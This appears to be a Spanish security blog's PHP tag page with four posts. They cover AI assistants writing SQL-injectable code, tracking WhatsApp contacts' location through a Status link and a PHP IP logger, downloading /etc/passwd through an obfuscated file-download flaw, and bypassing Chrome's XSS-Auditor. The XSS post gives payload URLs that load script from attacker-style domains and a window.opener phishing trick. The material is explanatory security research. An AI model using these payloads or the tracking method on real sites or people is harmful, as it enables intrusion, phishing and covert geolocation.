Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas
Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas

lunes, diciembre 26, 2022

ChatGPT hace código con SQL Injection, CoPilot mete Security Bugs y los programadores que usan Asistentes AI hacen más "Buggy Code"

Eso es lo que dice el paper publicado el 16 de Diciembre por investigadores de la Universidad de Stanford donde han hecho un experimento muy interesante con programadores para saber si activarles asistentes de Inteligencia Artificial para ayudarles a hacer código - como el caso de Copilot o ChatGPT - y ver después si su código es más o menos inseguro, corrector o incompleto.

Figura 1: ChatGPT hace código con SQL Injection, CoPilot mete Security
Bugs y los programadores que usan Asistentes AI hacen más "buggy code".

El resultado que arroja el artículo académico, titulado "Do users write more insecure code with AI assistants?" es que, a día de hoy, el código es más inseguro cuando los programadores se confían en el asistente de AI y le dejan meter más código, lo que lleva a que haya más bugs. 

Probar esto es tan fácil como hacer una prueba con ChatGPT para ver si se come un SQL Injection de libro en un procedimiento en PHP para autenticar una página web, tal y como veis a continuación.

Figura 3: Código PHP con bug de SQL Injection generado por ChatGPT

En el código no ha filtrado ninguno de los datos de entrada que va a introducir en la consulta un bug de SQL Injection, y ha hecho un programa que funciona, pero que no tienen ninguna medida de protección y seguridad del código para evitar SQL Injection. Eso es que no se ha leído aún nuestro libro.
Que Copilot mete bugs, ya lo sabíamos, como vimos en el artículo de nuestro compañero Fran Ramírez donde vimos tres ejemplos en Python de código inseguro, como por ejemplo código para crear un fichero temporal usando funciones inseguras, como en este ejemplo.

Lo que viene a demostrar este paper no es si los asistentes de AI generan "buggy code", que ya sabemos que sí, sino si el usarlos hace que los programadores incrementen el número de bugs, errores, códigos inseguros, etcétera que los programadores que no los usan. Y el resultado es que sí. Que para 5 experimentos, el código seguro generado por programadores que no usaban asistentes AI era del 79% mientras que el de los programadores con asistente AI era del 67%.
Por supuesto, cada programador es único, y depende mucho de lo que haga la persona con su código, pero para 5 ejercicios de seguridad, que tienen que ver con cifrar datos, firmas digitalmente, hacer consultas SQL o meter un directorio en un sandbox, el resultado era el anterior. 
Por supuesto, estamos al inicio del uso de asistentes de AI para programar, pero esto en dos años estará más que evolucionado y llegará un momento donde, probablemente, se alcanzará la Paridad Humana en programar, y entonces ya no habrá vuelta atrás, y programar sin asistentes de AI será una temeridad, pero por ahora, estamos en una fase mucho más temprana, así que cuidado con tu código.

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  


domingo, mayo 01, 2022

WhatsApp: Cómo pueden saber dónde vives por pulsar un enlace de un "Status" #WhatsAppStatus #WhatsApp #Privacidad

Es conocido que si te conectas a un sitio web, tu dirección IP puede ser registrada y analizada. Y esta dirección puede dar información de tu ubicación - más o menos certera -. Esto sucede en todos los servicios que permiten compartir URLs y esta dirección IP que los sitios web pueden capturar y analizar, apunta, más a o menos, al lugar donde te encuentras, salvo que hagas uso de la red TOR, utilices una VPN o un Proxy que haga anónima tu conexión.

Figura 1: Cómo pueden saber dónde vives por pulsar un enlace de un WhatsApps "Status"

Algunas aplicaciones te avisan del peligro de esta redirección, pero otras muchas aplicaciones como Twitter, Telegram, Instagram o WhatsApp, no lo hacen. En este artículo explicamos cómo poder explotar la información que muestra el histórico de visitas de nuestro ESTADO de WhatsApp (WhatsApp Status), qué contactos de WhatsApp y cuándo lo han visualizado, lo que puede ser un problema para la privacidad del uso que haces de WhatsApp, así que toma nota. 

Ya hace años, los chicos de SecurityByDefault publicaron un ejemplo de cómo utilizar la carga automática de imágenes en la previsualización de los mensajes de WhatsApp  en los chats para capturar la dirección IP de un contacto. WhatsApp  y Telegram corrigieron esto para que no sea el destinatario del mensaje sino el emisor, el que cargue la imagen de previsualización, precisamente por privacidad.

Figura 2:  Previews generados de forma segura
para evitar captura de dirección IP

Como vamos a ver, a partir de recoger las conexiones que hagan los contactos de WhatsApp a nuestro ESTADO podremos correlacionar este historial con fecha y hora, con un log ad-hoc en la web donde fueron redirigidos los contactos que hicieron clic. Mediante una serie de pasos fáciles de realizar, una tabla en una BBDD y un fichero en PHP. 

Figura 3: Libro de "Cómo protegerse de los peligros en Internet"
de José Carlos Gallego en  0xWord

La mitigación podría ser tan sencilla como un aviso por parte de WhatsApp del peligro que conlleva esta redirección o bien una concienciación a los usuarios de los riesgos contra su privacidad a los que incurren, esto último es el propósito final de esta explicación, para que puedan protegerse de los peligros en Internet correctamente.

La funcionalidad del estado de WhatsApp

El ESTADO de WhatsApp es una funcionalidad que según su ayuda se describe de la siguiente forma en la plataforma: 

“Con los estados, puedes compartir actualizaciones de texto, fotos, videos y GIF que desaparecen después de 24 horas y están cifradas de extremo a extremo. Para recibir actualizaciones de estado de tus contactos y que ellos reciban las tuyas, tú y tus contactos deben tener sus respectivos números de teléfono guardados en la libreta de contactos de sus teléfonos”.

Curiosamente, la funcionalidad de añadir texto nos permite que este texto sea una URL, y al hacer doble clic sobre él, este híperenlace nos redirige a una web, como muestra la figura siguiente. En este ejemplo concreto lo hará a la URL de la web Xxx.com

Figura 4: Creación de un Estado en WhatsApp con una URL
que registrará direcciones IP.

Esto no es nada nuevo, y los Stories de Instagram funcionan exactamente. Es una funcionalidad que utilizan muchos en la plataforma para difundir sus contenidos. La única diferencia fundamental, como vamos a ver, es que en Instagram el usuario que publica una Story no tiene un log detallado de horas de conexión y cuentas de sus contactos de Instagram que han visto la Story. En WhatsApp sí.

Figura 5: Si activas las "confirmaciones de lectura de mensajes"
WhatsApp te deja ver un log detallado de a qué hora quién
visitó tu ESTADO, lo que da una información valiosa.

Ahora ya podemos organizar esto. Por un lado un registro de visitas a la web que capture la hora exacta y la dirección IP del visitante. Por otro un registro detallado de contactos de WhatsApp que han visitado el estado. Si hay "match", ya sabes la dirección IP y dónde está el contacto de WhatsApp concreto. 
 
Cómo preparar la web de registro (Stickyweb)

En primer lugar, creamos una tabla en MySQL con el propósito de almacenar la GEO información de las direcciones IP de las visitas de los contactos que han sido redirigidos. La estructura de la tabla Log se muestra en la imagen siguiente.


Figura 6: Estructura de la tabla LOG donde se registrará la
GEO información IP de las visitas a xxxx.com

En segundo lugar, construimos una página web que, por simplicidad, consta de solo un fichero (index.php) y que también por simplicidad está construida en PHP, tal y como se puede ver en la imagen siguiente.

Figura 7: código PHP que obtiene la información de GEOIP
y la registra en la tabla LOG

En la ejecución del código PHP se recuperan las variables de entorno asociado con la navegación del usuario y que junto a un campo “Timestamp” de la tabla Log anterior expuesta, que supone la fecha de creación del registro en el momento que las instrucciones de PHP realizan la inserción de estos datos de navegación en la tabla Log de la base de datos MySQL.

Cronología de los Eventos

Una vez desplegada la web y con la tabla de registro del Log en la base de datos funcionado, punto 1 del cronograma del esquema siguiente. El siguiente paso corresponde al punto 2, en el que publicamos nuestro estado a la espera de que nuestros contactos hagan un clic en la URL asociada a nuestro estado de WhatsApp.

Figura 8: Cronología de creación de la web, creación del estado y clic de los contactos

Cronológicamente los contactos 1, 43 y 22, lo harán en el tiempo en los puntos 3, 4 y 5 respectivamente, como también muestra la imagen anterior.

Análisis de la Información registrada

Una vez que ya está registrada la GEO información IP de navegación de los contactos en la tabla Log de MySQL, procedemos a correlacionar el campo “FechaRegistro” (que recordemos que es de tipo TimeStamp) con la fecha y hora que muestra el Historial de los contactos que han visto el Estado de WhatsApp e hicieron clic en la URL del enlace de Estado, como muestra la imagen siguiente.

Figura 9:  En el log del Estado de WhatsApp podemos ver qué contacto vio
 el Estado y a qué hora, y luego buscamos esa hora en la tabla de Log
para saber qué IP usó en la conexión a la web.

El resto, es mirar la información extendida en la tabla de GEO Información IP que tenemos en la base de datos de MySQL con toda la información extendida que hemos sacado y que va asociada a la dicha dirección IP. Lo dicho, puede ser más o menos exacta.

Figura 10: Información extendida sobre la dirección IP

A partir de esta correlación tenemos accesible la información del número de teléfono (haciendo uso de la agenda) y de la dirección IP de conexión, que determinan la información geográfica asociada, así como el proveedor que nos presta el servicio de interconexión, ya sea móvil o no, exponiendo la privacidad de navegación de los contactos de una manera ni autorizada ni solicitada.

Impacto y mitigación

El impacto de esta práctica es una pérdida efectiva de la "GEO privacidad" de los usuarios que hubieran hecho clic en el estado, pudiendo suponer un seguimiento no autorizado de las personas. Algo que de facto es deducir si se está usando una red móvil o una conexión fija, en qué ciudad, provincia o país se está conectado, con todas las implicaciones para la seguridad de las personas o de sus bienes que ello pudiera implica. 

Tal vez, se debiera advertir al usuario que este será redirigido a una web externa, (como ya hace WhatsApp), pero debería informar de lo que ello implica, lo que  sería una mitigación muy efectiva, ya que las personas se darían cuenta del peligro de pérdida de privacidad que eso implica.

aaa
Figura 11: WhatsApp avisa antes de hacer una redirección fuera de la cuenta,
y ahí podía poner más información del riesgo de privacidad.

Además, se podía hacer que el registro de accesos al Estado de WhatsApp fuera menos "detallado", y hacerlo más similar al de Instagram, donde se puede ver qué usuarios vieron la Story, y luego datos agregados de clics o comparticiones, pero no quién hizo qué ni a qué hora exacta.  

Figura 12: En Instagram, las estadísticas de las Stories no
son tan detalladas como la de los Estados de WhatsApp.
Están agregadas y no dicen quién hizo qué a qué hora.

La curiosidad por saber qué quiere mostrarnos un contacto, unido al desconocimiento general de este funcionamiento y que termina en visitar una URL del Estado de Whatsapp, unido a la funcionalidad del registro temporal del historial de visitas que hace WhatsApp de los Status, conlleva a una importante exposición de la privacidad de navegación, al correlacionar toda esta información. 

Saludos,

lunes, abril 26, 2021

Un RFD (Remote File Downloading) "protegido" por ofuscación

Hace no demasiado, cuando recordaba las charlas que había dado con mi amigo Palako por todo el mundo de hacking, me vinieron las demos de RFD (Remote File Downloading) que contamos en Noruega o Washington D.C. en la que utilizando diferentes ataques de SQL Injection íbamos descargando ficheros del servidor web, junto con otras técnicas de LFI (Local File Inclusion) o RFI (Remote File Inclusion).

Figura 1: Un RFD (Remote File Downloading) "protegido" por ofuscación

En todas estas técnicas, la idea es siempre la misma, ver cómo utilizar código Server-Side para que al final se acceda a un fichero que está en el servidor web y nos lo entregue vía web browser. Ni sé cuantos proyectos de Ethical Hacking a empresas o pentesting a aplicaciones web se han terminado con una sola técnica de estas, ya que en el momento en el que te puedes descargar ficheros del servidor vas a ir a por los "juicy files" que te van a entregar las configuraciones de acceso a la base de datos, los usuarios del servidor web, los datos de la DMZ por las configuraciones de red, etcétera.


De hecho, cuando te enfrentas a una auditoría de un sitio web, es una de las cosas que primero buscas. SQL Injection, Blind SQL Injection, errores verbose que te dan información jugosa, Client-Side Attacks como XSS/CSRF/SSRF y descarga de ficheros. Por eso los pentesters en los Red Team, en los equipos de QA de seguridad y en los equipos de Ethical Hacking, estas disciplinas se entrenan con fuerza. En muchos CTFs de las CONs, conseguir una bandera es descargar un fichero - o muchos - del servidor web. 

Un RFD protegido por ofuscación

El caso que os voy a contar es uno de muchos, pero me hizo gracia encontrármelo de casualidad, ya que, en lugar de hacer las cosas bien, han puesto un parche de oscuridad que seguro que a los bots, y a los menos expertos evita, pero desde luego no a ningún pentester profesional. 

Figura 3: Aplicación PHP que descarga ficheros

En esta implantación, el código que te permite acceder a los ficheros es un fichero PHP que devuelve un fichero PDF o un PNG. Hasta aquí tiene toda la pinta de ganarse la atracción de cualquier auditor de seguridad profesional, pero lo que más llama la atención es que utiliza dos parámetros para conseguir la descarga. El primero de ellos un hash y el segundo un Ln.
Lo primero que puedes pensar es que se trata de un esquema tipo cucharón, donde el programa tira un Select contra una base de datos, y puedes intentar hacer un UNION para que devuelva un Path al fichero que tú quieras. Es un esquema típico de RFD, pero no era así. Analizando el Hash se ve rápidamente que era un BASE64, así que se puede decodificar fácilmente.


Al decodificarlo, se ve que aparece una ruta a un fichero, pero que cuenta con unos caracteres de más al inicio, y otros caracteres del más al final, como si llevara más información de la que es necesaria en esa ruta. 

Figura 6: Decodificando el hash. Aparecen caracteres antes y después de la ruta

Tras probar las cosas que hay que probar, es decir, probar el Hash original con valores aleatorios de LN se observa que no descarga nada y salen todos los ficheros vacíos, pero cuando se pone un LN+1 se descarga un fichero vacío con un nombre que tiene una letra más que el nombre del fichero correcto, y eso hizo saltar el dato final.

Figura 7: con LN+1 busca un fichero con extensión pngo que no existe

Al principio confundí los caracteres de inicio como parte del Path pero viendo este comportamiento y contando LN caracteres hacia atrás desde .png y ver que acaba en la barra de /home, es fácil asumir que el valor de LN es el límite de caracteres que se debe tomar del string de caracteres que viene en el HASH Base64 del parámetro de llamada. Pero... ¿para que sirve la cadena de  caracteres al inicio y la cadena de caracteres al final?

Figura 8:Codificando la ruta de /etc/passwd con los caracteres sobrantes

Para probar si esta suposición es correcta y si tenemos que hacer algo más con los caracteres al inicio y al final, basta con hacer una sencilla prueba. Vamos a dejar los caracteres al principio y los caracteres al final tal y como están, y vamos a meter la ruta al /etc/passwd en el medio. Después vamos a codificar en BASE64 esta cadena. Y ahora hacemos la llamada al programa PHP poniendo este Hash como parámetro uno y como parámetro LN al valor de lenght(/etc/passwd), y vemos si el fichero descarga y que hay dentro.

Figura 9: Fichero /etc/passwd descargado

Como se puede ver, tenemos el fichero /etc/passwd descargado, y haciendo lo mismo todos los ficheros del servidor a los que tenga acceso el usuario del servidor web - que no es root -. Tras unas cuantas pruebas, y ver que con ese sencillo algoritmo era posible descargar todos los ficheros, la respuesta de para qué sirven esos caracteres al inicio y al final es sencillo. Son "Tokens de ofuscación" que el programador ha metido para que no le sea tan fácil a un script kiddie o a un bot automático descargar los ficheros.

Figura 10: Probando con /etc/hosts y los mismos caracteres sobrantes

Realmente es una solución inútil, porque cualquier pentester profesional va a encontrarlo fácilmente, y si tienes que hacer una aplicación web, más vale que conozcas las técnicas de hacking de aplicaciones web, y que sepas cómo desarrollar de forma segura, porque lo que te puede parecer una buena idea, puede ser un desastre de seguridad.

¡Saludos Malignos!

lunes, agosto 28, 2017

Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Durante el trabajo de creación del libro "Hacking Web Applications: Client-Side Attacks", Enrique Rando estuvo realizando muchas pruebas sobre los principales navegadores de Internet. Como os podéis imaginar, los filtros Anti-XSS, así como otras medidas de protección por defecto contra otros ataques "Client-Side" fueron su día a día. En este artículo nos trae sus reflexiones sobre los límites de XSS-Auditor, la herramienta de protección Anti-XSS de Google Chrome.

Figura 1: Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Jugando con XSS-Auditor de Google Chrome

1.- Introducción

¡Ah, los filtros anti-XSS! Llevan ya su tiempo entre nosotros y sin embargo, siguen planteando problemas de difícil solución y alternativas sobre las que no nos ponemos de acuerdo. Aunque quizá el problema no radique tanto en los propios filtros sino en el inestable terreno en que éstos prestan sus servicios.

Porque: ¿dónde ponemos la línea roja que un filtro anti-XSS no debe permitir sobrepasar? ¿Es preferible ser súper exigentes y detener todos los ataques posibles a costa de sufrir muchos falsos positivos? ¿O es preferible asegurar el funcionamiento de las aplicaciones aunque esto suponga que de vez en cuando un ataque tenga éxito? ¿Está, como dice el refrán, la virtud en el término medio o acaso la falta de un criterio claro y definido no permitiría alcanzar ningún objetivo y sólo serviría para confundir? A veces me alegra pensar que será otro, y no yo, quien tenga que responder estas preguntas.

2.- Como saltarse XSS Auditor por menos de 6 euros

2.1.- La aplicación

Hace algún tiempo me encontré con una aplicación cuyo código tenía unas cuantas características curiosas. En ella me basé cuando escribí el siguiente código:

Figura 2: Se trata de una aplicación que te despierta a la hora que tú le digas.

Figura 3: El despertador

Analizando el código fuente se puede comprobar que existe una vulnerabilidad de XSS, explotable a través del parámetro GET “hora”. Pero XSS-Auditor impide el intento de inyectar código JavaScript en línea:

Figura 4: Bloqueado por XSS-Auditor

… o de insertar una etiqueta “<script>“ que cargue su código desde un servidor, “malicioso.example.net”, controlado por el atacante:

Figura 5: También bloqueado

Pero…

2.2.- Lo que XSS-Auditor deja pasar (y lo que no)

XSS-Auditor es una herramienta contra ataques de Cross-Site Scripting de tipo “reflejado”. Y “Cross-Site Scripting” viene a significar “Scripting entre sitios”. O sea, inyectar scripts de otro sitio en la página víctima. ¿Permitiría XSS-Auditor inyectar scripts si éstos son del propio sitio? Pues… parece que sí.

Figura 6: Same-Site Scripting aceptado.

Lo cual, si se combinara con una posibilidad de subir contenidos al sitio podría ser peligroso. Una condición que impone XSS-Auditor para estos casos es que la URL no lleve una Query String. Las alarmas salta en cuanto haya algo a continuación de un carácter “?”:

Figura 7: Parámetros GET No permitidos.

Lo cual me hace pensar en esas URLs “search engine friendly”. Por ejemplo: ¿Tiene tu web un mecanismo de “control de salidas” que usas cuando tus enlaces re-dirigen a otros sitios? Me refiero al típico “redirect.php” o similar. Entonces, seguro que controlas con una lista blanca los posibles destinos ¿verdad?

Pues, por si acaso, yo añadiría otra condición: asegúrate de que usas un parámetro GET para indicar, de una forma u otra, a dónde quieres enviar a tus usuarios. No sea que, al final, una URL de tu sitio pueda llevarles a donde el atacante quiera mientras XSS-Auditor hace como que no se da cuenta.

Pero hay algo más. A XSS-Auditor parece molestarle que se inyecte un script con un origen extraño incluido en la URL. No quiere permitir a un atacante elegir el dominio desde el que el contenido se descarga. Pero obsérvese el código PHP vulnerable:
Figura 8: Código vulnerable a la inyección de scripts

Justo a continuación del valor de “$hora”, sin ningún espacio de por medio, se añade el texto “AM”. Podríamos ver qué pasa si el script se carga de un dominio cuyo nombre no aparece completo en la URL. Por ejemplo, con:
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://example.
Esto produciría que en el código creado apareciera lo siguiente:

Figura 9: Código resultante tras la inyección

… que trataría de cargar el contenido de “http://example.AM” y ejecutarlo como un script. XSS-Auditor, tras comprobar que “script.example.AM” no forma parte de la URL ni del resto de elementos de la petición, parece relajarse y no entrometerse:

Figura 10: Esto sí pasa el filtro

De modo que sólo hace falta comprar un dominio “.AM”, que corresponde al TLD de código de país correspondiente a “Armenia”.

2.2.1.- Hora de abrir la hucha

Pero los dominios “.AM” cuestan más de lo que yo estaría dispuesto a gastarme.

Figura 11: Mucho dinero para un dominio de pruebas...

De modo que mejor me busco otra cosa.

2.2.2.- Vamos a hacerlo "Low cost"

En realidad, no hace falta que el dominio a usar pertenezca al ccTLD “.am”. Basta con que termine en “am”. Y, desde hace unos años, con la puesta en servicio de los TLD genéricos, hay donde elegir. Ahora tenemos un buen número de dominios de primer nivel, más de 1.500, y siguen apareciendo otros nuevos. La lista puede consultarse en ICANN.

Figura 12: Lista de TLDs disponibles

De modo que sólo es cuestión de ver cuántos de ellos terminan en “AM”. O, traducido al lenguaje de las expresiones regulares:
AM\s*$
Usando una herramienta como “grep” o quizá un editor de texto con soporte a la búsqueda por expresión regular, se obtendrá una lista de candidatos. Alguno incluso con caracteres “internacionales”:
AM
AMFAM
AMSTERDAM
CAM
SHRIRAM
STREAM
TEAM
WEBCAM
XN--QXAM
Algunos de ellos pertenecen a una organización que lo usa para sus propios fines y no permite registros de terceros. Otros son relativamente caros. Pero a veces se tiene suerte:

Figura 13: Un dominio por menos de 6 € para la prueba

Esto es bastante más asequible. Supongamos que registro el dominio “example.team”. Entonces podría tener un servidor llamado “script.example.team” que responda a su URL principal con algo tan sencillo como:
alert("¡Te calcé un XSS!");
Y, si alguien visitara
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://script.example.te
… vería…

Figura 14: Cuidado con los nuevos TLDs

2.3.- Phishing de ida y vuelta

2.3.1.- El objetivo

En este segundo ejemplo voy a utilizar una aplicación vulnerable que creé en su día para poder hacer los experimentos con gaseosa. Entre otras muchas cosas, la página de inicio de sesión presenta una vulnerabilidad de XSS a través del parámetro GET “url”. Por ejemplo:
http://aplicacion.example.com/login.php?url="><h1>TEXTO INYECTADO</h1><x x="
Figura 15: Inyectando un texto

En este caso, se inyectaba un texto. Y XSS-Auditor lo permite, pues cabría pensar que un texto puede hacer poco daño. Los angloparlantes tienen un refrán que dice “sticks and stones may break my bones, but words can never hurt me”. “Los palos y las piedras pueden romperme los huesos, pero las palabras nunca podrán dañarme”. Suena bien, pero… en casos como éste podría haberse probado con algo del tipo
Llama al teléfono 000000000 para asegurarte de que tu cuenta no ha sido comprometida por el reciente ataque.
No sigo más por este camino. Lo que iba a contar es otra cosa. Resulta que XSS-Auditor permite inyectar enlaces. Incluso con destinos que pudieran ser maliciosos, como en:
http://aplicacion.example.com/login.php?url="><a href="http://malicioso.example.net" target="_blank">Pulsa aqu%26iacute;&lt/a>&lt/h1>&ltx x="
2.3.2.- En vías de ser declarado obsoleto

A riesgo de dar un giro demasiado brusco, quisiera comentar aquí algo que considero una muy buena noticia. Hace unos meses, el equipo desarrollador de Google Chrome anunció que este navegador dejará de soportar las URLs de esquema “data” en las ventanas principales. Puede leerse al respecto en esta URL.

De modo que, antes de que sea demasiado tarde para contarlo, vamos a ver qué podríamos hacer con una URL de tipo data de modo que XSS-Auditor no se percate.

2.3.3.- Cuidado con lo que te inyectan

Probemos, pues, con un enlace cuyo destino sea una URL de esquema “data”. La inyección podría usar hojas de estilo en cascada para mejorar el aspecto visual…

Figura 16: Inyección con "data"

El resultado es un mensaje que quiere resultar atractivo:

Figura 17: Inyección en la página de login

Cuando el usuario haga clic en él, se abrirá una nueva ventana y se cargará en ella una URL con esquema “data”:

Figura 18: Inyección resultante

Esto crea un documento HTML con un breve texto

Figura 19: El texto resultante

… y un script que, debidamente embellecido quedaría:

Figura 20: El script resultante

El objeto “opener”, o “window.opener” hace referencia a aquella ventana responsable de que se haya abierto a la actual. En este caso, la del login de la aplicación. Y el script hace que se cargue en ella un nuevo documento, procedente de un servidor malicioso. Algo que se conoce que sucede cuando se utiliza el target="_blank". Cuando el usuario cierre la ventana del aviso, se encontrará con algo muy parecido a lo que tenía al principio:

Figura 21: ¿De vuelta a la misma página?

Y caerá en la trampa si no es capaz de darse cuenta de que hay algo raro en la URL de la barra de direcciones.

Figura 22: La URL es otra. Y no tiene buena pinta.

2.4.- Mode=block debería ser mode=block

Como pudo apreciarse en los primeros ejemplos de este artículo, las últimas versiones de Google Chrome siguen por defecto el comportamiento que establece la cabecera HTTP “X-XSS-Protection: 1; mode=block”. O sea, en caso de detectar un ataque XSS no se muestra el contenido de la página. Pero las cosas no siempre son exactamente como parecen. Supóngase que se tiene una página vulnerable a XSS con un código como el siguiente:

Figura 23: Código vulnerable a XSS con header X-XSS-Protection

Las primeras líneas se aseguran de que la protección contra XSS se configure correctamente. La vulnerabilidad está en el código PHP del final. Y a medio camino se encuentran otros scripts. Pues resulta que si se trata de explotar la vulnerabilidad, por ejemplo con
http://www.example.com/1/2.php?q=<script>alert(1)</script>
… aunque el documento no sea dibujado en pantalla, los scripts previos al punto de inyección se ejecutarán y podrán interactuar con el DOM (Modelo de Objetos del Documento):

Figura 24: Los scripts previos a la inyección XSS se ejecutan

Y sólo cuando se llegue a la inyección se producirá el efecto que se habría esperado tener desde el principio.

Figura 25: A buenas horas.

Supongo que a alguien se le ocurrirá como sacar partido de esto ¿verdad?

2.5.- Para ir terminando

No es que XSS-Auditor sea una mala herramienta. Crear un filtro anti-XSS como éste es una tarea difícil y es imposible cubrir todos los posibles ataques a la vez que se intenta mantener la compatibilidad con todas esas aplicaciones que hay ahí afuera. Es que las aplicaciones deberían estar bien escritas.

Autor: Enrique Rando, escritor en en "Hacking Web Applications: SQL Injection", "Hacking con Buscadores", "Hacking Web Technologies" & "Hacking Web Applications: Client-Side Attacks".

Entrada destacada

Hacking IA: Jailbreak, Prompt Injection, Hallucinations & Unalignment. Nuestro nuevo libro en 0xWord

Pocas veces me ha hecho tanta ilusión que saliera un nuevo libro en 0xWord como con este libro de " Hacking IA: Jailbreak, Prompt Inje...

Entradas populares